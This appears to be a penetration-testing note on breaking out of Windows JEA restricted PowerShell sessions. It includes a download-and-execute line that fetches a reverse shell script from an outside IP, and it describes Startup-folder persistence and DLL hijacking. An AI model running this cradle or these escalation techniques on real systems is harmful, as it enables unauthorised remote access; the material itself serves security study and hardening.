Just Enough Administration (JEA)
> Windows Server 2016 ; need WinRM enabled on the endpoint to accept user connections ; is enforced by PowerShell and not Active Directory ; dependent on PS-Remoting
a misconfigured JEA might grant extensive permissions that attackers could exploit
Enumeration
Default commands that normally work in PowerShell do not work here.
-ConfigurationName flag is not standard for a typical WinRM connection
Based on the output, we are operating in a NoLanguageMode (JEA config SessionType: RestrictedRemoteServer)
If the SessionType in JEA is set to Default, we would operate in FullLanguage mode and be able to create our own functions. With a JEA configuration, this essentially means full administrative access to the target.
function my-function {
powershell -nop -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.129.114/rev.ps1')" }
my-function
Abuse available non-default command
We can add a malicious payload to the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ folder. By default, anything stored in the folder will be executed under the context of the user logging in. However, this does not guarantee high privileges and the chances that someone will log in to the server is rather small.
Another option is to attempt a form of DLL hijacking that makes use of the DLL search order in Windows.
The directory from which the application is loaded (E.g. C:\Program Files\application)
The system directory (C:\Windows\System32)
The 16-bit system directory
The Windows directory
The current directory
Directories that are listed in the PATH environment variable
If we can find out which non-existent DLLs Windows is attempting to load from the directory where the service is loaded, we should be able to add our own DLL containing a payload.
Copy-Item in admin privilege can replace any existing DLLs to load for a service.
In a JEA setting, numerous PowerShell commands can potentially bypass the established restrictions, posing significant security risks. For instance, Invoke-Expression, Start-Process, and Invoke-Command are just a few that should be avoided due to their potential misuse.
Abusing FileZilla
Last updated